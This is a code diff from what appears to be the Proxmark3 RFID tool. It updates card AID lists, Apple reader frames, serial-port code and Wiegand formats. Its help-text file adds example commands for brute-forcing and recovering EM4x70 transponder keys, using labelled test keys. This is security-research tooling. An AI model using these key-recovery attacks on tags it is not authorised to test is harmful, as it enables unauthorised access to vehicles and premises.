"Vendor": "Madrid Public Transit Card",
"Country": "ES",
"Name": "Madrid Public Transit Card",
"Description": "",
"Type": "transport"
}, },
{ {
"AID": "000001", "AID": "000001",
"Vendor": "Invalid / reserved", "Vendor": "Invalid / Reserved",
"Country": "", "Country": "",
"Name": "Invalid / reserved", "Name": "Invalid / Reserved",
"Description": "used by Compass DESFire and Breeze DESFire", "Description": "Used by YVR Compass and ATL Breeze",
"Type": "transport"
},
{
"AID": "FFFFFF",
"Vendor": "Reserved for future use",
"Country": "",
"Name": "Reserved for future use",
"Description": "used by AT HOP, Nol, ORCA",
"Type": "transport"
},
{
"AID": "F52310",
"Vendor": "Integrated Control Technology Limited (ICT)",
"Country": "NZ",
"Name": "ICT Access credential",
"Description": "",
"Type": "pacs"
},
{
"AID": "F48EF1",
"Vendor": "SALTO Access credential",
"Country": "ES",
"Name": "SALTO Access credential",
"Description": "",
"Type": "pacs"
},
{
"AID": "4791DA",
"Vendor": "Prima Systems",
"Country": "SI",
"Name": "Prima FlexAir Access Control",
"Description": "FIDs: 00 - DRM, 01 - Access Event Log, 04 - Access Permissions",
"Type": "pacs"
},
{
"AID": "FF30FF",
"Vendor": "Metrolinx",
"Country": "CA",
"Name": "Presto Card",
"Description": "",
"Type": "transport" "Type": "transport"
}, },
{ {
"AID": "002000", "AID": "002000",
"Vendor": "Metrolinx", "Vendor": "Metrolinx",
"Country": "CA", "Country": "CA",
"Name": "Presto Card", "Name": "PRESTO Card [YYZ/YHM/YOW]",
"Description": "", "Description": "FIDs 00,0F: Backup Data; 08-0E,10-14: Standard Data",
"Type": "transport"
},
{
"AID": "010000",
"Vendor": "Consorcio Regional de Transportes Públicos Regulares de Madrid [CRTM]",
"Country": "ES",
"Name": "Tarjeta Transporte Publico [MAD]",
"Description": "MAD Public Transport Card",
"Type": "transport"
},
{
"AID": "012242",
"Vendor": "Istanbulkart",
"Country": "TR",
"Name": "Istanbulkart [IST]",
"Description": "IST Istanbul Card",
"Type": "transport"
},
{
"AID": "015342",
"Vendor": "Bangkok Expressway and Metro Public Limited Company [BEM]",
"Country": "TH",
"Name": "MRT Stored Value Card [BKK]",
"Description": "Might also be used by BKK MRT Plus and/or BKK Park & Ride Plus Cards",
"Type": "transport"
},
{
"AID": "2211AF",
"Vendor": "National Transport Authority",
"Country": "IE",
"Name": "TFI Leap Card [DUB]",
"Description": "DUB Leap Card // Transport for Ireland // FIDs: 01,1F: Backup Data; 02-0A: Standard Data",
"Type": "transport"
},
{
"AID": "4F5931",
"Vendor": "Transport for London [TfL]",
"Country": "UK",
"Name": "Oyster Card [LHR]",
"Description": "FIDs: 00-07: Standard Data",
"Type": "transport"
},
{
"AID": "422201",
"Vendor": "Transport of Istanbul",
"Country": "TR",
"Name": "İstanbulkart [IST]",
"Description": "IST Istanbul Card",
"Type": "transport"
},
{
"AID": "534531",
"Vendor": "Transport for New South Wales [TfNSW]",
"Country": "AU",
"Name": "Opal Card [SYD]",
"Description": "FIDs 00-06: Standard Data; 07: Card Balance/Number and Trip History",
"Type": "transport"
},
{
"AID": "554000",
"Vendor": "Auckland Transport",
"Country": "NZ",
"Name": "AT HOP Card [AKL]",
"Description": "FIDs: 00: Backup Data; 08/09/0A",
"Type": "transport"
},
{
"AID": "578000",
"Vendor": "Norwegian Public Roads Administration [NPRA]",
"Country": "NO",
"Name": "NORTIC Transport",
"Description": "Norwegian Ticketing Interoperable Concept // FID 0C: Card Issuer Header",
"Type": "transport"
},
{
"AID": "578001",
"Vendor": "Norwegian Public Roads Administration [NPRA]",
"Country": "NO",
"Name": "NORTIC Transport",
"Description": "FIDs 01: Product Retailer; 02: Service Provider; 03: Special Event; 04: Stored Value; 05: General Event Log; 06: SV Reload Log; 0A: Environment; 0C: Card Holder",
"Type": "transport"
},
{
"AID": "784000",
"Vendor": "Roads & Transport Authority [Government of Dubai]",
"Country": "AE",
"Name": "nol Card [DXB]",
"Description": "DXB nol Card",
"Type": "transport"
},
{
"AID": "A00216",
"Vendor": "ITSO Ltd",
"Country": "UK",
"Name": "ITSO",
"Description": "Appears to be used across UK Transit Agencies except LHR Oyster.",
"Type": "transport"
},
{
"AID": "EF2011",
"Vendor": "Helsinki Region Transport [HRT]",
"Country": "FI",
"Name": "HSL Card [HEL/TLL/TAY]",
"Description": "HEL/TLL/TAY HSL Card",
"Type": "transport"
},
{
"AID": "F001D0",
"Vendor": "Arabako Foru Aldundia",
"Country": "ES",
"Name": "BAT Card [VIT]",
"Description": "VIT BAT Card",
"Type": "transport"
},
{
"AID": "F206B0",
"Vendor": "Adelaide Metro via Affiliated Computer Services [ACS]",
"Country": "AU",
"Name": "metroCARD [ADL]",
"Description": "FIDs 00,02-07,09-0B,10-17,1B-1C: Backup Data; 01,1D: Linear Record File; 08: ABNote/HID Adelaide; 1E: Standard Data; 0C-0F: Card Balance",
"Type": "transport"
},
{
"AID": "F21030",
"Vendor": "Puget Sound Transit Agencies via Vix Technologies",
"Country": "US",
"Name": "ORCA [SEA]",
"Description": "One Regional Card For All // FIDs 02: Trip History; 04: current balance",
"Type": "transport"
},
{
"AID": "F21050",
"Vendor": "Metro Christchurch via INIT",
"Country": "NZ",
"Name": "Metrocard [CHC]",
"Description": "FIDs: 00: Backup Data; 01/02: Trip History; 03: Card Balance",
"Type": "transport"
},
{
"AID": "F210E0",
"Vendor": "TriMet",
"Country": "US",
"Name": "Hop Fastpass [PDX]",
"Description": "PDX Hop Card",
"Type": "transport"
},
{
"AID": "F210F0",
"Vendor": "Public Transport Victoria [PTV] via Conduent [formerly via Keane Australia Pty Ltd]",
"Country": "AU",
"Name": "myki [MEL]",
"Description": "FIDs 01-02: Transaction History; 03: myki money Balance; 00,04-05: Backup Data; 08-0C,0F: Standard Data",
"Type": "transport"
},
{
"AID": "F21100",
"Vendor": "Public Transport Victoria [PTV] via Conduent [formerly via Keane Australia Pty Ltd]",
"Country": "AU",
"Name": "myki [MEL]",
"Description": "FIDs 0F: Standard Data; 00: Backup Data",
"Type": "transport"
},
{
"AID": "F21150",
"Vendor": "Prague Public Transit Company via Haguess a.s.",
"Country": "CZ",
"Name": "Lítačka Opencard [PRG]",
"Description": "PRG Lítačka Opencard",
"Type": "transport"
},
{
"AID": "F21190",
"Vendor": "Metropolitan Transportation Commission via Cubic",
"Country": "US",
"Name": "Clipper Card [SFO]",
"Description": "FIDs 02: Card Balance; 04: Refill History; 08: Card Information; 0E: Trip History",
"Type": "transport"
},
{
"AID": "F21360",
"Vendor": "INIT",
"Country": "US",
"Name": "HOLO Card [HNL]",
"Description": "HNL HOLO Card",
"Type": "transport"
},
{
"AID": "F21381",
"Vendor": "Chicago Transit Authority [CTA] via Cubic",
"Country": "US",
"Name": "Ventra Card [ORD]",
"Description": "ORD Ventra Card [Gen 2 Blue] // Multi-Modal Transit #1 // FIDs 00-01: Standard Data",
"Type": "transport"
},
{
"AID": "F21390",
"Vendor": "Multiple NZ Transit Agencies via Otago Regional Council",
"Country": "NZ",
"Name": "Bee Card [DUD]",
"Description": "Multi-Modal Transit #0 // FIDs 00: Backup Data; 01-02: Trip History; 03: Card Balance",
"Type": "transport"
},
{
"AID": "F213A0",
"Vendor": "Rhode Island Public Transport Authority [RIPTA] via INIT",
"Country": "US",
"Name": "Wave Smart Card [PVD]",
"Description": "PVD Wave Smart Card",
"Type": "transport"
},
{
"AID": "F213F0",
"Vendor": "Puget Sound Transit Agencies via Vix Technologies",
"Country": "US",
"Name": "ORCA [SEA]",
"Description": "One Regional Card for All // FIDs 00: Standard Data; 01: Backup Data",
"Type": "transport"
},
{
"AID": "FF30FF",
"Vendor": "Metrolinx",
"Country": "CA",
"Name": "PRESTO Card [YYZ/YHM/YOW]",
"Description": "FID 08: Standard Data",
"Type": "transport"
},
{
"AID": "FFFFFF",
"Vendor": "Reserved for Future Use",
"Country": "",
"Name": "Reserved for Future Use",
"Description": "Used by AKL AT HOP, DXB nol, and SEA ORCA",
"Type": "transport" "Type": "transport"
} }
] ]

View file

@ -2284,7 +2284,7 @@
"Vendor": "Apple", "Vendor": "Apple",
"Country": "", "Country": "",
"Name": "Apple Home Key Framework", "Name": "Apple Home Key Framework",
"Description": "Home Key configuration applet. Selected after a first transaction on a newely-invited device (allegedly for mailbox sync/attestation exchange)", "Description": "Home Key configuration applet. Used for attestation exchange",
"Type": "" "Type": ""
}, },
{ {
@ -2292,7 +2292,39 @@
"Vendor": "Apple", "Vendor": "Apple",
"Country": "", "Country": "",
"Name": "Apple Home Key", "Name": "Apple Home Key",
"Description": "NFC Home Key for select HomeKit-compatible locks", "Description": "NFC Home Key for select HomeKit-compatible locks based on Apple UnifiedAccess protocol",
"Type": "access"
},
{
"AID": "A0000008580202",
"Vendor": "Apple",
"Country": "",
"Name": "Apple Access Key Framework",
"Description": "Access Key configuration applet. Used for attestation exchange",
"Type": ""
},
{
"AID": "A0000008580201",
"Vendor": "Apple",
"Country": "",
"Name": "Apple Access Key",
"Description": "NFC Access Key for commercial properties based on Apple UnifiedAccess protocol",
"Type": "access"
},
{
"AID": "A000000909ACCE5502",
"Vendor": "Connectivity Standards Alliance (CSA)",
"Country": "",
"Name": "Aliro Framework",
"Description": "Used during key provisioning, configuration, attestation exchange",
"Type": ""
},
{
"AID": "A000000909ACCE5501",
"Vendor": "Connectivity Standards Alliance (CSA)",
"Country": "",
"Name": "Aliro",
"Description": "",
"Type": "access" "Type": "access"
}, },
{ {
@ -2430,5 +2462,13 @@
"Name": "CEPAS", "Name": "CEPAS",
"Description": "Transit and e-money card used in Singapore", "Description": "Transit and e-money card used in Singapore",
"Type": "transport" "Type": "transport"
},
{
"AID": "A0000004040125",
"Vendor": "Ile-de-France Mobilites",
"Country": "France",
"Name": "Navigo",
"Description": "CALYPSO-based transit card",
"Type": "transport"
} }
] ]

View file

@ -0,0 +1,126 @@
{
"versions": {
"01": {
"tci": {
"000000": {
"id": "tci-vas-or-pay",
"name": "VAS or payment",
"description": "Used when a reader needs a pass or a payment card. Sometimes called VAS over Payment"
},
"000001": {
"id": "tci-vas-and-pay",
"name": "VAS and payment",
"description": "Also called single tap mode. Allows reading multiple passes with different ids in one tap"
},
"000002": {
"id": "tci-vas-only",
"name": "VAS only",
"description": "Used when a reader requests passes only"
},
"000003": {
"id": "tci-pay-only",
"name": "VAS only",
"description": "Used when a reader requests payment cards only. Also disables express mode for chinese transit cards"
},
"cf0000": {
"id": "tci-ignore",
"name": "Ignore",
"description": "iPhones before IOS17 emit this frame so that other apple devices don't react to the field"
}
}
},
"02": {
"types": {
"01": {
"id": "terminal-type-transit",
"name": "Transit",
"description": "Used by express-mode enabled transit terminals",
"subtypes": {
"00": {
"id": "terminal-subtype-default",
"name": "Default subtype",
"description": "",
"tci": {
"030400": {
"id": "tci-hop-fastpass",
"name": "HOP Fastpass",
"description": ""
},
"030002": {
"id": "tci-transit-for-london",
"name": "TFL",
"description": "First publically known TCI, found by Proxmark community member"
},
"030001": {
"id": "tci-wmata",
"name": "SmartTrip",
"description": ""
},
"030005": {
"id": "tci-la-tapp",
"name": "LA Tap",
"description": ""
},
"030007": {
"id": "tci-clipper",
"name": "Clipper",
"description": ""
},
"03095a": {
"id": "tci-navigo",
"name": "Navigo",
"description": ""
}
},
"data": {
"length": 5,
"name": "Fallback EMV payment networks",
"description": "Bit mask of allowed EMV open loop payment cards. First byte is responsible for most popular payment networks"
}
}
}
},
"02": {
"id": "terminal-type-access",
"name": "Access",
"description": "Used by express-mode enabled access and key readers",
"subtypes": {
"00": {
"id": "terminal-subtype-venue",
"name": "Venue",
"description": "Used by following venues: Offices, Parks, Universities",
"tci": {
"no-info-add-if-found": ""
}
},
"06": {
"id": "terminal-subtype-home-key",
"name": "Home Key",
"description": "Used by home key",
"tci": {
"021100": {
"id": "tci-homekey",
"name": "Home Key",
"description": ""
}
}
},
"09": {
"id": "terminal-subtype-automotive-pairing",
"name": "Automotive",
"description": "Used by cars for access and setup",
"tci": {
"no-info-add-if-found": ""
}
}
}
}
}
}
}
}

View file

@ -55,6 +55,11 @@
"name": "Transit: Clipper", "name": "Transit: Clipper",
"description": "" "description": ""
}, },
{
"value": "6a02c8010003095a0000000000",
"name": "Transit: Navigo",
"description": ""
},
{ {
"value": "6a02c3020002ffff", "value": "6a02c3020002ffff",

View file

@ -2769,7 +2769,7 @@ static int CmdAsn1Decoder(const char *Cmd) {
void *argtable[] = { void *argtable[] = {
arg_param_begin, arg_param_begin,
arg_str0("d", NULL, "<hex>", "ASN1 encoded byte array"), arg_str0("d", NULL, "<hex>", "ASN1 encoded byte array"),
arg_lit0("t", "test", "perform self test"), arg_lit0(NULL, "test", "perform self tests"),
arg_param_end arg_param_end
}; };
CLIExecWithReturn(ctx, Cmd, argtable, false); CLIExecWithReturn(ctx, Cmd, argtable, false);

View file

@ -161,8 +161,9 @@ static void SendCommandNG_internal(uint16_t cmd, uint8_t *data, size_t len, bool
txBufferNG.pre.ng = ng; txBufferNG.pre.ng = ng;
txBufferNG.pre.length = len; txBufferNG.pre.length = len;
txBufferNG.pre.cmd = cmd; txBufferNG.pre.cmd = cmd;
if (len > 0 && data) if (len > 0 && data) {
memcpy(&txBufferNG.data, data, len); memcpy(&txBufferNG.data, data, len);
}
if ((g_conn.send_via_fpc_usart && g_conn.send_with_crc_on_fpc) || ((!g_conn.send_via_fpc_usart) && g_conn.send_with_crc_on_usb)) { if ((g_conn.send_via_fpc_usart && g_conn.send_with_crc_on_fpc) || ((!g_conn.send_via_fpc_usart) && g_conn.send_with_crc_on_usb)) {
uint8_t first = 0, second = 0; uint8_t first = 0, second = 0;
@ -474,12 +475,15 @@ __attribute__((force_align_arg_pointer))
res = uart_receive(sp, (uint8_t *)&rx_raw.pre, sizeof(PacketResponseNGPreamble), &rxlen); res = uart_receive(sp, (uint8_t *)&rx_raw.pre, sizeof(PacketResponseNGPreamble), &rxlen);
if ((res == PM3_SUCCESS) && (rxlen == sizeof(PacketResponseNGPreamble))) { if ((res == PM3_SUCCESS) && (rxlen == sizeof(PacketResponseNGPreamble))) {
rx.magic = rx_raw.pre.magic; rx.magic = rx_raw.pre.magic;
uint16_t length = rx_raw.pre.length; uint16_t length = rx_raw.pre.length;
rx.ng = rx_raw.pre.ng; rx.ng = rx_raw.pre.ng;
rx.status = rx_raw.pre.status; rx.status = rx_raw.pre.status;
rx.cmd = rx_raw.pre.cmd; rx.cmd = rx_raw.pre.cmd;
if (rx.magic == RESPONSENG_PREAMBLE_MAGIC) { // New style NG reply if (rx.magic == RESPONSENG_PREAMBLE_MAGIC) { // New style NG reply
if (length > PM3_CMD_DATA_SIZE) { if (length > PM3_CMD_DATA_SIZE) {
PrintAndLogEx(WARNING, "Received packet frame with incompatible length: 0x%04x", length); PrintAndLogEx(WARNING, "Received packet frame with incompatible length: 0x%04x", length);
error = true; error = true;
@ -488,30 +492,38 @@ __attribute__((force_align_arg_pointer))
if ((!error) && (length > 0)) { // Get the variable length payload if ((!error) && (length > 0)) { // Get the variable length payload
res = uart_receive(sp, (uint8_t *)&rx_raw.data, length, &rxlen); res = uart_receive(sp, (uint8_t *)&rx_raw.data, length, &rxlen);
if ((res != PM3_SUCCESS) || (rxlen != length)) { if ((res != PM3_SUCCESS) || (rxlen != length)) {
PrintAndLogEx(WARNING, "Received packet frame with variable part too short? %d/%d", rxlen, length); PrintAndLogEx(WARNING, "Received packet frame with variable part too short? %d/%d", rxlen, length);
error = true; error = true;
} else { } else {
if (rx.ng) { // Received a valid NG frame if (rx.ng) { // Received a valid NG frame
memcpy(&rx.data, &rx_raw.data, length); memcpy(&rx.data, &rx_raw.data, length);
rx.length = length; rx.length = length;
if ((rx.cmd == g_conn.last_command) && (rx.status == PM3_SUCCESS)) { if ((rx.cmd == g_conn.last_command) && (rx.status == PM3_SUCCESS)) {
ACK_received = true; ACK_received = true;
} }
} else { } else {
uint64_t arg[3]; uint64_t arg[3];
if (length < sizeof(arg)) { if (length < sizeof(arg)) {
PrintAndLogEx(WARNING, "Received MIX packet frame with incompatible length: 0x%04x", length); PrintAndLogEx(WARNING, "Received MIX packet frame with incompatible length: 0x%04x", length);
error = true; error = true;
} }
if (!error) { // Received a valid MIX frame if (!error) { // Received a valid MIX frame
memcpy(arg, &rx_raw.data, sizeof(arg)); memcpy(arg, &rx_raw.data, sizeof(arg));
rx.oldarg[0] = arg[0]; rx.oldarg[0] = arg[0];
rx.oldarg[1] = arg[1]; rx.oldarg[1] = arg[1];
rx.oldarg[2] = arg[2]; rx.oldarg[2] = arg[2];
memcpy(&rx.data, ((uint8_t *)&rx_raw.data) + sizeof(arg), length - sizeof(arg)); memcpy(&rx.data, ((uint8_t *)&rx_raw.data) + sizeof(arg), length - sizeof(arg));
rx.length = length - sizeof(arg); rx.length = length - sizeof(arg);
if (rx.cmd == CMD_ACK) { if (rx.cmd == CMD_ACK) {
ACK_received = true; ACK_received = true;
} }
@ -519,12 +531,14 @@ __attribute__((force_align_arg_pointer))
} }
} }
} else if ((!error) && (length == 0)) { // we received an empty frame } else if ((!error) && (length == 0)) { // we received an empty frame
if (rx.ng)
if (rx.ng) {
rx.length = 0; // set received length to 0 rx.length = 0; // set received length to 0
else { // old frames can't be empty } else { // old frames can't be empty
PrintAndLogEx(WARNING, "Received empty MIX packet frame (length: 0x00)"); PrintAndLogEx(WARNING, "Received empty MIX packet frame (length: 0x00)");
error = true; error = true;
} }
} }
if (!error) { // Get the postamble if (!error) { // Get the postamble
@ -537,9 +551,12 @@ __attribute__((force_align_arg_pointer))
if (!error) { // Check CRC, accept MAGIC as placeholder if (!error) { // Check CRC, accept MAGIC as placeholder
rx.crc = rx_raw.foopost.crc; rx.crc = rx_raw.foopost.crc;
if (rx.crc != RESPONSENG_POSTAMBLE_MAGIC) { if (rx.crc != RESPONSENG_POSTAMBLE_MAGIC) {
uint8_t first, second; uint8_t first, second;
compute_crc(CRC_14443_A, (uint8_t *)&rx_raw, sizeof(PacketResponseNGPreamble) + length, &first, &second); compute_crc(CRC_14443_A, (uint8_t *)&rx_raw, sizeof(PacketResponseNGPreamble) + length, &first, &second);
if ((first << 8) + second != rx.crc) { if ((first << 8) + second != rx.crc) {
PrintAndLogEx(WARNING, "Received packet frame with invalid CRC %02X%02X <> %04X", first, second, rx.crc); PrintAndLogEx(WARNING, "Received packet frame with invalid CRC %02X%02X <> %04X", first, second, rx.crc);
error = true; error = true;

View file

@ -623,6 +623,7 @@ const static vocabulary_t vocabulary[] = {
{ 0, "lf em 4x70 auth" }, { 0, "lf em 4x70 auth" },
{ 0, "lf em 4x70 setpin" }, { 0, "lf em 4x70 setpin" },
{ 0, "lf em 4x70 setkey" }, { 0, "lf em 4x70 setkey" },
{ 1, "lf em 4x70 calc" },
{ 1, "lf em 4x70 recover" }, { 1, "lf em 4x70 recover" },
{ 0, "lf em 4x70 autorecover" }, { 0, "lf em 4x70 autorecover" },
{ 1, "lf fdxb help" }, { 1, "lf fdxb help" },
@ -650,6 +651,7 @@ const static vocabulary_t vocabulary[] = {
{ 1, "lf hitag help" }, { 1, "lf hitag help" },
{ 1, "lf hitag list" }, { 1, "lf hitag list" },
{ 0, "lf hitag info" }, { 0, "lf hitag info" },
{ 0, "lf hitag reader" },
{ 1, "lf hitag test" }, { 1, "lf hitag test" },
{ 0, "lf hitag dump" }, { 0, "lf hitag dump" },
{ 0, "lf hitag read" }, { 0, "lf hitag read" },

View file

@ -387,11 +387,15 @@ serial_port uart_open(const char *pcPortName, uint32_t speed, bool slient) {
return INVALID_SERIAL_PORT; return INVALID_SERIAL_PORT;
} }
// Flush all lingering data that may exist
tcflush(sp->fd, TCIOFLUSH);
// Duplicate the (old) terminal info struct // Duplicate the (old) terminal info struct
sp->tiNew = sp->tiOld; sp->tiNew = sp->tiOld;
// Configure the serial port // Configure the serial port.
sp->tiNew.c_cflag = CS8 | CLOCAL | CREAD; // fix: default to 115200 here seems to fix the white dongle issue. Will need to check proxbuilds later.
sp->tiNew.c_cflag = B115200 | CS8 | CLOCAL | CREAD;
sp->tiNew.c_iflag = IGNPAR; sp->tiNew.c_iflag = IGNPAR;
sp->tiNew.c_oflag = 0; sp->tiNew.c_oflag = 0;
sp->tiNew.c_lflag = 0; sp->tiNew.c_lflag = 0;
@ -401,6 +405,17 @@ serial_port uart_open(const char *pcPortName, uint32_t speed, bool slient) {
// Block until a timer expires (n * 100 mSec.) // Block until a timer expires (n * 100 mSec.)
sp->tiNew.c_cc[VTIME] = 0; sp->tiNew.c_cc[VTIME] = 0;
// more configurations
sp->tiNew.c_cc[VINTR] = 0; /* Ctrl-c */
sp->tiNew.c_cc[VQUIT] = 0; /* Ctrl-\ */
sp->tiNew.c_cc[VERASE] = 0; /* del */
sp->tiNew.c_cc[VKILL] = 0; /* @ */
sp->tiNew.c_cc[VEOF] = 4; /* Ctrl-d */
sp->tiNew.c_cc[VSTART] = 0; /* Ctrl-q */
sp->tiNew.c_cc[VSTOP] = 0; /* Ctrl-s */
sp->tiNew.c_cc[VSUSP] = 0; /* Ctrl-z */
sp->tiNew.c_cc[VEOL] = 0; /* '\0' */
// Try to set the new terminal info struct // Try to set the new terminal info struct
if (tcsetattr(sp->fd, TCSANOW, &sp->tiNew) == -1) { if (tcsetattr(sp->fd, TCSANOW, &sp->tiNew) == -1) {
PrintAndLogEx(ERR, "error: UART set terminal info attribute"); PrintAndLogEx(ERR, "error: UART set terminal info attribute");
@ -695,9 +710,14 @@ bool uart_set_speed(serial_port sp, const uint32_t uiPortSpeed) {
// Set port speed (Input and Output) // Set port speed (Input and Output)
cfsetispeed(&ti, stPortSpeed); cfsetispeed(&ti, stPortSpeed);
cfsetospeed(&ti, stPortSpeed); cfsetospeed(&ti, stPortSpeed);
// flush
tcflush(spu->fd, TCIOFLUSH);
bool result = tcsetattr(spu->fd, TCSANOW, &ti) != -1; bool result = tcsetattr(spu->fd, TCSANOW, &ti) != -1;
if (result) if (result) {
g_conn.uart_speed = uiPortSpeed; g_conn.uart_speed = uiPortSpeed;
}
return result; return result;
} }

View file

@ -154,7 +154,7 @@ static bool Pack_indasc27(wiegand_card_t *card, wiegand_message_t *packed, bool
if (card->OEM > 0) return false; // Not used in this format if (card->OEM > 0) return false; // Not used in this format
packed->Length = 27; packed->Length = 27;
set_nonlinear_field(packed, card->FacilityCode, 11, (uint8_t[]) {9, 4, 6, 5, 0, 7, 19, 8, 10, 16, 24, 12, 22}); set_nonlinear_field(packed, card->FacilityCode, 13, (uint8_t[]) {9, 4, 6, 5, 0, 7, 19, 8, 10, 16, 24, 12, 22});
set_nonlinear_field(packed, card->CardNumber, 14, (uint8_t[]) {26, 1, 3, 15, 14, 17, 20, 13, 25, 2, 18, 21, 11, 23}); set_nonlinear_field(packed, card->CardNumber, 14, (uint8_t[]) {26, 1, 3, 15, 14, 17, 20, 13, 25, 2, 18, 21, 11, 23});
if (preamble) if (preamble)
return add_HID_header(packed); return add_HID_header(packed);
@ -166,7 +166,7 @@ static bool Unpack_indasc27(wiegand_message_t *packed, wiegand_card_t *card) {
if (packed->Length != 27) return false; // Wrong length? Stop here. if (packed->Length != 27) return false; // Wrong length? Stop here.
card->FacilityCode = get_nonlinear_field(packed, 11, (uint8_t[]) {9, 4, 6, 5, 0, 7, 19, 8, 10, 16, 24, 12, 22}); card->FacilityCode = get_nonlinear_field(packed, 13, (uint8_t[]) {9, 4, 6, 5, 0, 7, 19, 8, 10, 16, 24, 12, 22});
card->CardNumber = get_nonlinear_field(packed, 14, (uint8_t[]) {26, 1, 3, 15, 14, 17, 20, 13, 25, 2, 18, 21, 11, 23}); card->CardNumber = get_nonlinear_field(packed, 14, (uint8_t[]) {26, 1, 3, 15, 14, 17, 20, 13, 25, 2, 18, 21, 11, 23});
return true; return true;
} }
@ -1178,7 +1178,7 @@ static bool Pack_iscs38(wiegand_card_t *card, wiegand_message_t *packed, bool pr
set_linear_field(packed, card->FacilityCode, 5, 10); set_linear_field(packed, card->FacilityCode, 5, 10);
set_linear_field(packed, card->CardNumber, 15, 22); set_linear_field(packed, card->CardNumber, 15, 22);
set_linear_field(packed, card->IssueLevel, 1, 4); set_linear_field(packed, card->OEM, 1, 4);
set_bit_by_position(packed, set_bit_by_position(packed,
evenparity32(get_linear_field(packed, 1, 18)) evenparity32(get_linear_field(packed, 1, 18))
@ -1257,7 +1257,7 @@ static bool Pack_bc40(wiegand_card_t *card, wiegand_message_t *packed, bool prea
if (card->IssueLevel > 0) return false; // Not used in this format if (card->IssueLevel > 0) return false; // Not used in this format
if (card->OEM > 0x7F) return false; // Not used in this format if (card->OEM > 0x7F) return false; // Not used in this format
packed->Length = 39; // Set number of bits packed->Length = 40; // Set number of bits
set_linear_field(packed, card->OEM, 0, 7); set_linear_field(packed, card->OEM, 0, 7);
@ -1277,7 +1277,7 @@ static bool Pack_bc40(wiegand_card_t *card, wiegand_message_t *packed, bool prea
static bool Unpack_bc40(wiegand_message_t *packed, wiegand_card_t *card) { static bool Unpack_bc40(wiegand_message_t *packed, wiegand_card_t *card) {
memset(card, 0, sizeof(wiegand_card_t)); memset(card, 0, sizeof(wiegand_card_t));
if (packed->Length != 39) return false; // Wrong length? Stop here. if (packed->Length != 40) return false; // Wrong length? Stop here.
card->OEM = get_linear_field(packed, 0, 7); card->OEM = get_linear_field(packed, 0, 7);
card->FacilityCode = get_linear_field(packed, 7, 12); card->FacilityCode = get_linear_field(packed, 7, 12);

View file

@ -196,6 +196,10 @@ bool add_HID_header(wiegand_message_t *data) {
if (data->Length > 84 || data->Length == 0) if (data->Length > 84 || data->Length == 0)
return false; return false;
if (data->Length == 48) {
data->Mid |= 1U << (data->Length - 32); // Example leading 1: start bit
return true;
}
if (data->Length >= 64) { if (data->Length >= 64) {
data->Top |= 0x09e00000; // Extended-length header data->Top |= 0x09e00000; // Extended-length header
data->Top |= 1U << (data->Length - 64); // leading 1: start bit data->Top |= 1U << (data->Length - 64); // leading 1: start bit

View file

@ -9016,11 +9016,29 @@
], ],
"usage": "lf em 4x70 autorecover [-h] [--par] --rnd <hex> --frn <hex> --grn <hex>" "usage": "lf em 4x70 autorecover [-h] [--par] --rnd <hex> --frn <hex> --grn <hex>"
}, },
"lf em 4x70 calc": {
"command": "lf em 4x70 calc",
"description": "Calculates both the reader and tag challenge for a user-provided key and rnd.",
"notes": [
"lf em 4x70 calc --key F32AA98CF5BE4ADFA6D3480B --rnd 45F54ADA252AAC (pm3 test key)",
"lf em 4x70 calc --key A090A0A02080000000000000 --rnd 3FFE1FB6CC513F (research paper key)",
"lf em 4x70 calc --key 022A028C02BE000102030405 --rnd 7D5167003571F8 (autorecovery test key)"
],
"offline": true,
"options": [
"-h, --help This help",
"--key <hex> Key 96-bit as 12 hex bytes",
"--rnd <hex> 56-bit random value sent to tag for authentication"
],
"usage": "lf em 4x70 calc [-h] --key <hex> --rnd <hex>"
},
"lf em 4x70 help": { "lf em 4x70 help": {
"command": "lf em 4x70 help", "command": "lf em 4x70 help",
"description": "help This help recover Recover remaining key from partial key --------------------------------------------------------------------------------------- lf em 4x70 brute available offline: no Optimized partial key-update attack of 16-bit key block 7, 8 or 9 of an EM4x70 This attack does NOT write anything to the tag. Before starting this attack, 0000 must be written to the 16-bit key block: 'lf em 4x70 write -b 9 -d 0000'. After success, the 16-bit key block have to be restored with the key found: 'lf em 4x70 write -b 9 -d c0de'", "description": "help This help calc Calculate EM4x70 challenge and response recover Recover remaining key from partial key --------------------------------------------------------------------------------------- lf em 4x70 brute available offline: no Optimized partial key-update attack of 16-bit key block 7, 8 or 9 of an EM4x70 This attack does NOT write anything to the tag. Before starting this attack, 0000 must be written to the 16-bit key block: 'lf em 4x70 write -b 9 -d 0000'. After success, the 16-bit key block have to be restored with the key found: 'lf em 4x70 write -b 9 -d c0de'",
"notes": [ "notes": [
"lf em 4x70 brute -b 9 --rnd 45F54ADA252AAC --frn 4866BB70 -> bruteforcing key bits k95...k80" "lf em 4x70 brute -b 9 --rnd 45F54ADA252AAC --frn 4866BB70 -> bruteforcing key bits k95...k80 (pm3 test key)",
"lf em 4x70 brute -b 8 --rnd 3FFE1FB6CC513F --frn F355F1A0 -> bruteforcing key bits k79...k64 (research paper key)",
"lf em 4x70 brute -b 7 --rnd 7D5167003571F8 --frn 982DBCC0 -> bruteforcing key bits k63...k48 (autorecovery test key)"
], ],
"offline": true, "offline": true,
"options": [ "options": [
@ -9052,7 +9070,8 @@
"description": "After obtaining key bits 95..48 (such as via 'lf em 4x70 brute'), this command will recover key bits 47..00. By default, this process does NOT require a tag to be present. By default, the potential keys are shown (typically 1-6) along with a corresponding 'lf em 4x70 auth' command that will authenticate, if that potential key is correct. The user can copy/paste these commands when the tag is present to manually check which of the potential keys is correct.", "description": "After obtaining key bits 95..48 (such as via 'lf em 4x70 brute'), this command will recover key bits 47..00. By default, this process does NOT require a tag to be present. By default, the potential keys are shown (typically 1-6) along with a corresponding 'lf em 4x70 auth' command that will authenticate, if that potential key is correct. The user can copy/paste these commands when the tag is present to manually check which of the potential keys is correct.",
"notes": [ "notes": [
"lf em 4x70 recover --key F32AA98CF5BE --rnd 45F54ADA252AAC --frn 4866BB70 --grn 9BD180 (pm3 test key)", "lf em 4x70 recover --key F32AA98CF5BE --rnd 45F54ADA252AAC --frn 4866BB70 --grn 9BD180 (pm3 test key)",
"lf em 4x70 recover --key A090A0A02080 --rnd 3FFE1FB6CC513F --frn F355F1A0 --grn 609D60 (research paper key)" "lf em 4x70 recover --key A090A0A02080 --rnd 3FFE1FB6CC513F --frn F355F1A0 --grn 609D60 (research paper key)",
"lf em 4x70 recover --key 022A028C02BE --rnd 7D5167003571F8 --frn 982DBCC0 --grn 36C0E0 (autorecovery test key)"
], ],
"offline": true, "offline": true,
"options": [ "options": [
@ -9518,7 +9537,7 @@
